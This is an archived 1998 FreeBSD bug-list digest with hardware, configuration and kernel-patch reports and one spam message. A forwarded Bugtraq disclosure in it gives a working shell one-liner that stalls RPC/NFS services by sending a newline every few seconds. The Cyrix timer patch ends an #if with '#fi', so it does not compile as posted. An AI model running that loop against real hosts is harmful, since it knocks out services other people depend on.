freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Wed May 13 16:30:01 PDT 1998 >Last-Modified: >Originator: Bill Trost >Organization: Trost Computing >Release: current >Environment: FreeBSD grey.cloud.rain.com 3.0-CURRENT FreeBSD 3.0-CURRENT #5: Mon May 4 13:42:11 PDT 1998 trost@grey.cloud.rain.com:/mnt/usr/src/sys/compile/GREY i386 >Description: From: Peter van Dijk Subject: Re: easy DoS in most RPC apps To: BUGTRAQ@NETSPACE.ORG On Sat, 28 Mar 1998, Peter van Dijk wrote: > If you connect (using telnet, netcat, anything) to a TCP port assigned to > some RPC protocol (tested with rpc.nfsd/mountd/portmap on Slackware > 3.4/Kernel 2.0.33) and send some 'garbage' (like a newline ;) every 5 > seconds or faster, the service will completely stop responding. At the > very moment the connection is closed, the service will return to normal > work again. > read(0, "\r\n", 4000) = 2 > [bullshit cut] > > This bug can easily be exploited remotely without any special software and > without taking any noticeable bandwidth (one packet every 5 seconds). > This one worked perfectly for me: > $ { while true ; do echo ; sleep 5 ; done } | telnet localhost 2049 > Replacing the sleep 5 with sleep 6 or even more shows that the service > will then respond every once in a while. Further examination and discussion (with Thomas Kukuk) shows that the bug is probably in libc (and glibc?) and therefore probably affects _all_ rpc applications using libc to do their rpc work (like, all Linux rpc applications). Also, Wietse Venema responded today... Discussion still starting up with him :) The impact of this bug should not be underestimated. Anything that depends on nfs to function can be shutdown completely (temporarily, that is) with little or no effort... You don't need maths to see that even someone with a simple 28k8 line can shutdown 100s of sites at the same time. >How-To-Repeat: See description. >Fix: Sorry.... >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed May 13 16:48:08 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA17215 for freebsd-bugs-outgoing; Wed, 13 May 1998 16:48:08 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from dfw-ix16.ix.netcom.com (dfw-ix16.ix.netcom.com [206.214.98.16]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA17124 for ; Wed, 13 May 1998 16:48:02 -0700 (PDT) (envelope-from enigma003@aol.com) From: enigma003@aol.com Received: (from smap@localhost) by dfw-ix16.ix.netcom.com (8.8.4/8.8.4) id SAA20519; Wed, 13 May 1998 18:47:26 -0500 (CDT) Date: Wed, 13 May 1998 18:47:26 -0500 (CDT) Received: from a14.pm3-15.theriver.com(206.26.123.142) by dfw-ix16.ix.netcom.com via smap (V1.3) id rma020358; Wed May 13 18:46:08 1998 Subject: Turf Tek Message-Id: Content-Type: TEXT/PLAIN charset=US-ASCII To: undisclosed-recipients:; Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org 5/13/984:44 PM Greetings Golf Enthusiast Welcome, This mailing is being sent to you since you have shown an intrest in Golfing. If you do not which to be on this mailing list, please REPLY with the message REMOVE ME in the Subject line. We will remove you within 24 hours. Thank you. RESEDENTIAL GOLF PUTTING GREEN I would like to introduce to you Turf-Tek. This is the ultimate practice facility. A professional bent grass green from 200 square feet to a 150 Yard par 3 (if you have the room). It putts and holds shots like tour greens. The best news is they are MAINTENANCE FREE. Our simulated grass greens need no water, or mowing. They are perfect as the centerpiece of your landscaping. Set up a Bar B Que and picnic tables and invite your golfing buddies over for a friendly putting round. E-MAIL me what you would like with your name and address and I will send you a brochure and price quotes. Thank you for your time, Paul Sanderson Turf-Tek paul-sanderson@email.msn.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed May 13 17:13:58 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA21981 for freebsd-bugs-outgoing; Wed, 13 May 1998 17:13:58 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA21955 for ; Wed, 13 May 1998 17:13:47 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id RAA04173; Wed, 13 May 1998 17:10:06 -0700 (PDT) Received: from mail.portsoft.com (mail.portsoft.com [208.207.3.226]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA20644 for ; Wed, 13 May 1998 17:04:12 -0700 (PDT) (envelope-from tedm@portsoft.com) Received: from test.portsoft.com ([192.168.1.33]) by mail.portsoft.com (8.8.5/8.8.5) with ESMTP id RAA08832; Wed, 13 May 1998 17:03:41 -0700 (PDT) Received: (from tedm@localhost) by test.portsoft.com (8.8.8/8.8.5) id RAA00450; Wed, 13 May 1998 17:03:07 -0700 (PDT) Message-Id: <199805140003.RAA00450@test.portsoft.com> Date: Wed, 13 May 1998 17:03:07 -0700 (PDT) From: Ted Mittelstaedt the Almighty System Admin Reply-To: tedm@portsoft.com To: FreeBSD-gnats-submit@FreeBSD.ORG, tedm@portsoft.com X-Send-Pr-Version: 3.2 Subject: kern/6628: Tyan Tomcat III locks SMP-GENERIC kernel on boot Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 6628 >Category: kern >Synopsis: Tyan Tomcat III locks SMP-GENERIC kernel, 3.0-980426-SNAP >Confidential: no >Severity: critical >Priority: high >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Wed May 13 17:10:03 PDT 1998 >Last-Modified: >Originator: Ted Mittelstaedt >Organization: Portland Software Inc. >Release: FreeBSD 3.0-980426-SNAP i386 >Environment: Installed FreeBSD 3.0 snapshot on a Tyan Tomcat III system, 64MB of ram, 1 Adaptec 2940 PCI Ultra SCSI card, 1 Adaptec 2940 PCI Ultra Wide SCSI card with a 8GB Seagate Wide SCSI disk on it, motherboard BIOS version 4.01. Output of dmesg and mptable follows: Copyright (c) 1992-1998 FreeBSD Inc. Copyright (c) 1982, 1986, 1989, 1991, 1993 The Regents of the University of California. All rights reserved. FreeBSD 3.0-980426-SNAP #0: Sun Apr 26 10:14:16 GMT 1998 root@make.ican.net:/usr/src/sys/compile/GENERIC Timecounter "i8254" frequency 1193182 Hz cost 2537 ns CPU: Pentium (199.43-MHz 586-class CPU) Origin = "GenuineIntel" Id = 0x52c Stepping=12 Features=0x3bf real memory = 67108864 (65536K bytes) avail memory = 62423040 (60960K bytes) Probing for devices on PCI bus 0: chip0: rev 0x03 on pci0.0.0 chip1: rev 0x01 on pci0.7.0 ide_pci0: rev 0x00 on pci0.7.1 chip2: rev 0x01 int d irq 15 on pci0.7.2 fxp0: rev 0x02 int a irq 15 on pci0.17.0 fxp0: Ethernet address 00:a0:c9:5a:7c:c1 vga0: rev 0x00 int a irq 12 on pci0.18.0 ahc0: rev 0x00 int a irq 9 on pci0.19.0 ahc0: aic7880 Wide Channel, SCSI Id=7, 16 SCBs ahc0: waiting for scsi devices to settle scbus0 at ahc0 bus 0 sd0 at scbus0 target 0 lun 0 sd0: type 0 fixed SCSI 2 sd0: Direct-Access 8683MB (17783112 512 byte sectors) ahc1: rev 0x00 int a irq 11 on pci0.20.0 ahc1: aic7880 Single Channel, SCSI Id=7, 16 SCBs ahc1: waiting for scsi devices to settle scbus1 at ahc1 bus 0 cd0 at scbus1 target 3 lun 0 cd0: type 5 removable SCSI 2 cd0: CD-ROM can't get the size st0 at scbus1 target 6 lun 0 st0: type 1 removable SCSI 2 st0: Sequential-Access density code 0x13, drive empty Probing for devices on the ISA bus: sc0 at 0x60-0x6f irq 1 on motherboard sc0: VGA color <16 virtual consoles, flags=0x0> sio0 at 0x3f8-0x3ff irq 4 flags 0x10 on isa sio0: type 16550A sio1 at 0x2f8-0x2ff irq 3 on isa sio1: type 16550A lpt0 at 0x378-0x37f irq 7 on isa lpt0: Interrupt-driven port lp0: TCP/IP capable interface lpt1 at 0x378-0x37f on isa lpt1 not probed due to I/O address conflict with lpt0 at 0x378 mse0 not found at 0x23c psm0 not found at 0x60 fdc0 at 0x3f0-0x3f7 irq 6 drq 2 on isa fdc0: FIFO enabled, 8 bytes threshold fd0: 1.44MB 3.5in wdc0 not found at 0x1f0 wdc1 not found at 0x170 npx0 on motherboard npx0: INT 16 interface Intel Pentium F00F detected, installing workaround changing root device to sd0s1a WARNING: / was not properly dismounted. =============================================================================== MPTable, version 2.0.12 ------------------------------------------------------------------------------- MP Floating Pointer Structure: location: BIOS physical address: 0x000f5a60 signature: '_MP_' length: 16 bytes version: 1.4 checksum: 0xc3 mode: Virtual Wire ------------------------------------------------------------------------------- MP Config Table Header: physical address: 0x000f5a74 signature: 'PCMP' base table length: 396 version: 1.1 checksum: 0x3a OEM ID: 'OEM00000' Product ID: 'PROD00000000' OEM table pointer: 0x00000000 OEM table size: 0 entry count: 28 local APIC address: 0xfee00000 extended table length: 0 extended table checksum: 0 ------------------------------------------------------------------------------- MP Config Base Table Entries: -- Processors: APIC ID Version State Family Model Step Flags 0 0x11 BSP, usable 5 2 1 0x07bf 1 0x11 AP, usable 5 2 1 0x07bf -- Bus: Bus ID Type 0 PCI 1 ISA -- I/O APICs: APIC ID Version State Address 2 0x11 usable 0xfec00000 -- I/O Ints: Type Polarity Trigger Bus ID IRQ APIC ID INT# ExtINT conforms conforms 1 0 2 0 INT conforms conforms 1 1 2 1 INT conforms conforms 1 0 2 2 INT conforms conforms 1 3 2 3 INT conforms conforms 1 4 2 4 INT conforms conforms 1 5 2 5 INT conforms conforms 1 6 2 6 INT conforms conforms 1 7 2 7 INT conforms conforms 1 8 2 8 INT conforms conforms 1 9 2 9 INT conforms conforms 1 10 2 10 INT conforms conforms 1 11 2 11 INT conforms conforms 1 12 2 12 INT conforms conforms 1 13 2 13 INT conforms conforms 1 14 2 14 INT conforms conforms 1 15 2 15 INT active-lo level 0 20:A 2 16 INT active-lo level 0 19:A 2 17 INT active-lo level 0 18:A 2 18 INT active-lo level 0 17:A 2 19 SMI conforms conforms 1 0 2 23 -- Local Ints: Type Polarity Trigger Bus ID IRQ APIC ID INT# ExtINT conforms conforms 0 0:A 255 0 NMI conforms conforms 0 0:A 255 1 ------------------------------------------------------------------------------- # SMP kernel config file options: # Required: options SMP # Symmetric MultiProcessor Kernel options APIC_IO # Symmetric (APIC) I/O # Useful: #options SMP_AUTOSTART # start the additional CPUs during boot # Optional (built-in defaults will work in most cases): #options NCPU=2 # number of CPUs #options NBUS=2 # number of busses #options NAPIC=1 # number of IO APICs #options NINTR=24 # number of INTs # Rogue hardware: # # Tyan Tomcat II: #options SMP_TIMER_NC # # # SuperMicro P6DNE: #options SMP_TIMER_NC # =============================================================================== # SMP kernel config file options: # Required: options SMP # Symmetric MultiProcessor Kernel options APIC_IO # Symmetric (APIC) I/O # Useful: #options SMP_AUTOSTART # start the additional CPUs during boot # Optional (built-in defaults will work in most cases): #options NCPU=2 # number of CPUs #options NBUS=2 # number of busses #options NAPIC=1 # number of IO APICs #options NINTR=24 # number of INTs # Rogue hardware: # # Tyan Tomcat II: #options SMP_TIMER_NC # # # SuperMicro P6DNE: #options SMP_TIMER_NC # =============================================================================== >Description: After compiling the SMP kernel and installing it, a reboot produces a list of all the devices, then as soon as the second CPU is started the system locks up. I cold-booted several times, once it actually started running /etc/rc but locked about a half-second into it. Rebooting the system under a uniprocessor kernel that I compiled works fine without any detected problems. >How-To-Repeat: Compile the SMP kernel and restart, the kernel configuration file I used is as follows: # # SMP-GENERIC -- Smp machine with WD/AHx/NCR/BTx family disks # # For more information read the handbook part System Administration -> # Configuring the FreeBSD Kernel -> The Configuration File. # The handbook is available in /usr/share/doc/handbook or online as # latest version from the FreeBSD World Wide Web server # # # An exhaustive list of options and more detailed explanations of the # device lines is present in the ./LINT configuration file. If you are # in doubt as to the purpose or necessity of a line, check first in LINT. # # $Id: SMP-GENERIC,v 1.11 1998/04/22 18:18:14 mjacob Exp $ machine "i386" # SMP does NOT support 386/486 CPUs. #cpu "I386_CPU" #cpu "I486_CPU" cpu "I586_CPU" # cpu "I686_CPU" ident TESTME maxusers 30 # Create a SMP capable kernel (mandatory options): options SMP # Symmetric MultiProcessor Kernel options APIC_IO # Symmetric (APIC) I/O # Optional, these are the defaults: #options NCPU=2 # number of CPUs #options NBUS=4 # number of busses #options NAPIC=1 # number of IO APICs #options NINTR=24 # number of INTs # Lets always enable the kernel debugger for SMP. options DDB # SMP shouldn't need x87 emulation, disable by default. #options MATH_EMULATE #Support for x87 emulation options INET #InterNETworking options FFS #Berkeley Fast Filesystem options NFS #Network Filesystem options MSDOSFS #MSDOS Filesystem options "CD9660" #ISO 9660 Filesystem options PROCFS #Process filesystem options "COMPAT_43" #Compatible with BSD 4.3 [KEEP THIS!] options SCSI_DELAY=15 #Be pessimistic about Joe SCSI device options BOUNCE_BUFFERS #include support for DMA bounce buffers options UCONSOLE #Allow users to grab the console options FAILSAFE #Be conservative options USERCONFIG #boot -c editor options VISUAL_USERCONFIG #visual boot -c editor config kernel root on sd0 controller isa0 # controller eisa0 controller pci0 controller fdc0 at isa? port "IO_FD1" bio irq 6 drq 2 vector fdintr disk fd0 at fdc0 drive 0 disk fd1 at fdc0 drive 1 # tape ft0 at fdc0 drive 2 # options "CMD640" # work around CMD640 chip deficiency # controller wdc0 at isa? port "IO_WD1" bio irq 14 vector wdintr # disk wd0 at wdc0 drive 0 # disk wd1 at wdc0 drive 1 # controller wdc1 at isa? port "IO_WD2" bio irq 15 vector wdintr # disk wd2 at wdc1 drive 0 # disk wd3 at wdc1 drive 1 # options ATAPI #Enable ATAPI support for IDE bus # options ATAPI_STATIC #Don't do it as an LKM # device wcd0 #IDE CD-ROM # A single entry for any of these controllers (ncr, ahb, ahc, amd) is # sufficient for any number of installed devices. # controller ncr0 # controller amd0 # controller ahb0 controller ahc0 # controller isp0 # controller bt0 at isa? port "IO_BT0" bio irq ? vector bt_isa_intr # controller uha0 at isa? port "IO_UHA0" bio irq ? drq 5 vector uhaintr # controller aha0 at isa? port "IO_AHA0" bio irq ? drq 5 vector ahaintr # controller aic0 at isa? port 0x340 bio irq 11 vector aicintr # controller nca0 at isa? port 0x1f88 bio irq 10 vector ncaintr # controller nca1 at isa? port 0x350 bio irq 5 vector ncaintr # controller sea0 at isa? bio irq 5 iomem 0xc8000 iosiz 0x2000 vector seaintr controller scbus0 device sd0 # device od0 #See LINT for possible `od' options. device st0 device cd0 #Only need one of these, the code dynamically grows # device wt0 at isa? port 0x300 bio irq 5 drq 1 vector wtintr # device mcd0 at isa? port 0x300 bio irq 10 vector mcdintr # controller matcd0 at isa? port 0x230 bio # device scd0 at isa? port 0x230 bio # syscons is the default console driver, resembling an SCO console device sc0 at isa? port "IO_KBD" tty irq 1 vector scintr # Enable this and PCVT_FREEBSD for pcvt vt220 compatible console driver #device vt0 at isa? port "IO_KBD" tty irq 1 vector pcrint #options PCVT_FREEBSD=210 # pcvt running on FreeBSD >= 2.0.5 options XSERVER # include code for XFree86 #options FAT_CURSOR # start with block cursor # If you have a ThinkPAD, uncomment this along with the rest of the PCVT lines #options PCVT_SCANSET=2 # IBM keyboards are non-std device npx0 at isa? port "IO_NPX" irq 13 vector npxintr # # Laptop support (see LINT for more options) # # device apm0 at isa? disable flags 0x31 # Advanced Power Management # PCCARD (PCMCIA) support #controller card0 #device pcic0 at card? #device pcic1 at card? device sio0 at isa? port "IO_COM1" tty irq 4 vector siointr device sio1 at isa? port "IO_COM2" tty irq 3 vector siointr device sio2 at isa? disable port "IO_COM3" tty irq 5 vector siointr device sio3 at isa? disable port "IO_COM4" tty irq 9 vector siointr device lpt0 at isa? port? tty irq 7 vector lptintr # device lpt1 at isa? port? tty # device mse0 at isa? port 0x23c tty irq 5 vector mseintr # device psm0 at isa? disable port "IO_KBD" conflicts tty irq 12 vector psmintr # Order is important here due to intrusive probes, do *not* alphabetize # this list of network interfaces until the probes have been fixed. # Right now it appears that the ie0 must be probed before ep0. See # revision 1.20 of this file. # device de0 device fxp0 # device vx0 # device ed0 at isa? port 0x280 net irq 5 iomem 0xd8000 vector edintr # device ed1 at isa? port 0x300 net irq 5 iomem 0xd8000 vector edintr # device ie0 at isa? port 0x300 net irq 10 iomem 0xd0000 vector ieintr # device ie1 at isa? port 0x360 net irq 7 iomem 0xd0000 vector ieintr # device ep0 at isa? port 0x300 net irq 10 vector epintr # device ex0 at isa? port? net irq? vector exintr # device fe0 at isa? port 0x300 net irq ? vector feintr # device le0 at isa? port 0x300 net irq 5 iomem 0xd0000 vector le_intr # device lnc0 at isa? port 0x280 net irq 10 drq 0 vector lncintr # device ze0 at isa? port 0x300 net irq 5 iomem 0xd8000 vector zeintr # device zp0 at isa? port 0x300 net irq 10 iomem 0xd8000 vector zpintr pseudo-device loop pseudo-device ether pseudo-device sl 1 # iijppp uses tun instead of ppp device #pseudo-device ppp 1 pseudo-device tun 1 pseudo-device pty 16 pseudo-device gzip # Exec gzipped a.out's # KTRACE enables the system-call tracing facility ktrace(2). # This adds 4 KB bloat to your kernel, and slightly increases # the costs of each syscall. options KTRACE #kernel tracing >Fix: Maybe bring back the option "SMP_TIMER_NC" to fix it? It looks like an earlier SMP kernel did work on this hardware until the APIC_IO became required. Unfortunately, I only had about 4 hours to test on this machine - if 3.0 had run SMP we would have used this as a server, but since it won't the system is consigned to use as an NT system and won't be generally available in the future. Oh well. >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed May 13 17:43:52 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA27937 for freebsd-bugs-outgoing; Wed, 13 May 1998 17:43:52 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA27919 for ; Wed, 13 May 1998 17:43:42 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id RAA04349; Wed, 13 May 1998 17:40:02 -0700 (PDT) Received: (from nobody@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA27868; Wed, 13 May 1998 17:43:30 -0700 (PDT) (envelope-from nobody) Message-Id: <199805140043.RAA27868@hub.freebsd.org> Date: Wed, 13 May 1998 17:43:30 -0700 (PDT) From: toh@finearts.uvic.ca To: freebsd-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: www-1.0 Subject: conf/6629: "upgrade" procedure clobbers /etc/newsyslog.conf in place Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 6629 >Category: conf >Synopsis: "upgrade" procedure clobbers /etc/newsyslog.conf in place >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: change-request >Submitter-Id: current-users >Arrival-Date: Wed May 13 17:40:00 PDT 1998 >Last-Modified: >Originator: Marc Sira >Organization: Faculty of Fine Arts, University of Victoria >Release: 2.2.6 >Environment: FreeBSD kenny.finearts.uvic.ca 2.2.6-RELEASE FreeBSD 2.2.6-RELEASE #0: Mon May 11 03:31:36 PDT 1998 root@kenny:/usr/src/sys/compile/KENNY i386 >Description: The upgrade procedure (while much nicer than the threatening disclaimer implies :) mistakenly clobbered my /etc/newsyslog.conf file in place, rather than leaving it be and creating a new /etc/upgrade/newsyslog.conf prototype as for the other /etc files. This is so mind-bogglingly minor an issue that I fear divine retribution for even mentioning it, but so be it. >How-To-Repeat: Upgrade from 2.2.5 to 2.2.6 (haven't ever tried upgrade before now, but one imagines it's in the 2.2.6 upgrade procedure, period). >Fix: Just use the same upgrade treatment for newsyslog.conf as all the other little files. :) >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed May 13 17:56:45 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA00577 for freebsd-bugs-outgoing; Wed, 13 May 1998 17:56:45 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA00559; Wed, 13 May 1998 17:56:28 -0700 (PDT) (envelope-from jkh@FreeBSD.org) From: "Jordan K. Hubbard" Received: (from jkh@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id RAA04420; Wed, 13 May 1998 17:52:47 -0700 (PDT) Date: Wed, 13 May 1998 17:52:47 -0700 (PDT) Message-Id: <199805140052.RAA04420@freefall.freebsd.org> To: mrspock@esfm.ipn.mx, jkh@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: i386/6626 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: During installation sony cd driver cannot read cdrom State-Changed-From-To: open-closed State-Changed-By: jkh State-Changed-When: Wed May 13 17:52:19 PDT 1998 State-Changed-Why: I believe I got this one already. Please see ftp://ftp.freebsd.org/pub/FreeBSD/2.2.6-RELEASE/ERRATA.TXT Thanks! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed May 13 18:13:42 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA02674 for freebsd-bugs-outgoing; Wed, 13 May 1998 18:13:42 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA02669 for ; Wed, 13 May 1998 18:13:41 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id SAA04482; Wed, 13 May 1998 18:10:01 -0700 (PDT) Date: Wed, 13 May 1998 18:10:01 -0700 (PDT) Message-Id: <199805140110.SAA04482@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.ORG From: Garrett Wollman Subject: kern/6628: Tyan Tomcat III locks SMP-GENERIC kernel on boot Reply-To: Garrett Wollman Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR kern/6628; it has been noted by GNATS. From: Garrett Wollman To: tedm@portsoft.com Cc: FreeBSD-gnats-submit@FreeBSD.ORG Subject: kern/6628: Tyan Tomcat III locks SMP-GENERIC kernel on boot Date: Wed, 13 May 1998 21:07:30 -0400 (EDT) < said: > After compiling the SMP kernel and installing it, a reboot produces a list of > all the devices, then as soon as the second CPU is started the system locks up. I have seen these symptoms on my Intel Buckeyes (BB440FX). I found that there was a setting in the BIOS for ``route interrupus via I/O APIC'' which needed to be set for MP to work. -GAWollman -- Garrett A. Wollman | O Siem / We are all family / O Siem / We're all the same wollman@lcs.mit.edu | O Siem / The fires of freedom Opinions not those of| Dance in the burning flame MIT, LCS, CRS, or NSA| - Susan Aglukark and Chad Irschick To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed May 13 22:43:45 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA11447 for freebsd-bugs-outgoing; Wed, 13 May 1998 22:43:45 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA11440 for ; Wed, 13 May 1998 22:43:43 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id WAA05144; Wed, 13 May 1998 22:40:02 -0700 (PDT) Received: from neunacht.netgsi.com (neunacht.netgsi.com [192.55.203.174]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA11379 for ; Wed, 13 May 1998 22:42:48 -0700 (PDT) (envelope-from cjohnson@neunacht.netgsi.com) Received: (from root@localhost) by neunacht.netgsi.com (8.8.8/8.8.6) id BAA12770; Thu, 14 May 1998 01:42:46 -0400 (EDT) Message-Id: <199805140542.BAA12770@neunacht.netgsi.com> Date: Thu, 14 May 1998 01:42:46 -0400 (EDT) From: cjohnson@netgsi.com Reply-To: cjohnson@netgsi.com To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: kern/6630: Fix for Cyrix I8254 bug Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 6630 >Category: kern >Synopsis: Fix for Cyrix I8254 bug >Confidential: no >Severity: critical >Priority: high >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Wed May 13 22:40:01 PDT 1998 >Last-Modified: >Originator: Christopher T. Johnson >Organization: NetGSi, Inc >Release: FreeBSD 3.0-CURRENT i386 >Environment: Any Cyrix GX(m) cpu using the 5510 or 5520 support chipset. >Description: The Cyrix 5510 and 5520 chipset has a serious flaw in the I8254 programmable interupt timer. When the I8254 PIT is sent a "LATCH" command, it is suppose to copy the current counter into a 16 bit latch counter as an atomic action. Instead, either the latch fails to take place, or there is no latch register. When the standard clock calibration loops run, the i8254 is miss tracked giving bogus timings. In addition, the TSC is callibrated against the i8254 using the same busted logic giving such wonderful readings as a Pentium MMX running at 180 Mhz being detected as a 9Mhz Pentium. (poor english sorry) In addition to these simple things going astray, the callout() routines die because they are based on the calibrations of the TSC or I8254. The biggest problem is that the DELAY() routine dies. This causes things like APM to panic as well as many other kernel drivers that need sub second timing. >How-To-Repeat: find a Compaq Presario 1215 and boot FreeBSD. Type date a few times and see what the time warp is like. >Fix: Index: LINT =================================================================== RCS file: /usr/cvsroot/src/sys/i386/conf/LINT,v retrieving revision 1.429 diff -u -r1.429 LINT --- LINT 1998/04/29 17:09:41 1.429 +++ LINT 1998/05/14 05:09:57 @@ -136,6 +136,11 @@ # of Cyrix 6x86 and 6x86MX CPUs. If this option is not set and # FAILESAFE is defined, NO_LOCK bit of CCR1 is cleared. (NOTE 3) # +# CPU_CYRIX_NO_I8254_LATCH enables a patch to deal with the I8254 +# programable interupt timer failing to latch in a number of cyrix +# chipsets. This can be seen by run away Time of Day clocks and +# panics when trying to do sub second time keeping. +# # CPU_DISABLE_5X86_LSSER disables load store serialize (i.e. enables # reorder). This option should not be used if you use memory mapped # I/O device(s). @@ -196,6 +201,7 @@ options "CPU_SUSP_HLT" options "CYRIX_CACHE_WORKS" options "CYRIX_CACHE_REALLY_WORKS" +options "CPU_CYRIX_NO_I8254_LATCH" #options "NO_F00F_HACK" # Index: options.i386 =================================================================== RCS file: /usr/cvsroot/src/sys/i386/conf/options.i386,v retrieving revision 1.77 diff -u -r1.77 options.i386 --- options.i386 1998/04/18 04:58:01 1.77 +++ options.i386 1998/05/14 05:12:18 @@ -68,6 +68,7 @@ CPU_UPGRADE_HW_CACHE opt_cpu.h CYRIX_CACHE_WORKS opt_cpu.h CYRIX_CACHE_REALLY_WORKS opt_cpu.h +CPU_CYRIX_NO_I8254_LATCH opt_clock.h # The CPU type affects the endian conversion functions all over the kernel. I386_CPU opt_global.h Index: clock.c =================================================================== RCS file: /usr/cvsroot/src/sys/i386/isa/clock.c,v retrieving revision 1.119 diff -u -r1.119 clock.c --- clock.c 1998/04/05 01:04:48 1.119 +++ clock.c 1998/05/14 05:20:02 @@ -402,7 +402,9 @@ { u_long ef; int high, low; - +#if CPU_CYRIX_NO_I8254_LATCH + int ret1, ret2; +#endif ef = read_eflags(); disable_intr(); @@ -411,10 +413,21 @@ low = inb(TIMER_CNTR0); high = inb(TIMER_CNTR0); +#if CPU_CYRIX_NO_I8254_LATCH + ret1 = (high << 8) | low; + outb(TIMER_MODE, TIMER_SEL0 | TIMER_LATCH); + low = inb(TIMER_CNTR0); + high= inb(TIMER_CNTR0); + ret2 = (high <<8) | low; +#endif CLOCK_UNLOCK(); write_eflags(ef); +#if CPU_CYRIX_NO_I8254_LATCH + return (ret1 > ret2 ? ret1 : ret2); +#else return ((high << 8) | low); +#fi } /* >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu May 14 00:57:34 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA00784 for freebsd-bugs-outgoing; Thu, 14 May 1998 00:57:34 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from eve.speakeasy.org (wbrian@eve.speakeasy.org [199.238.226.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA00641; Thu, 14 May 1998 00:56:20 -0700 (PDT) (envelope-from wbrian@speakeasy.org) Received: from localhost (wbrian@localhost) by eve.speakeasy.org (8.8.5/8.7.3) with SMTP id AAA24229 Date: Thu, 14 May 1998 00:56:21 -0700 (PDT) From: B Wehrle To: Dmitrij Tejblum cc: freebsd-bugs@FreeBSD.ORG Subject: Re: kern/6065 In-Reply-To: <199805041617.JAA25935@freefall.freebsd.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk 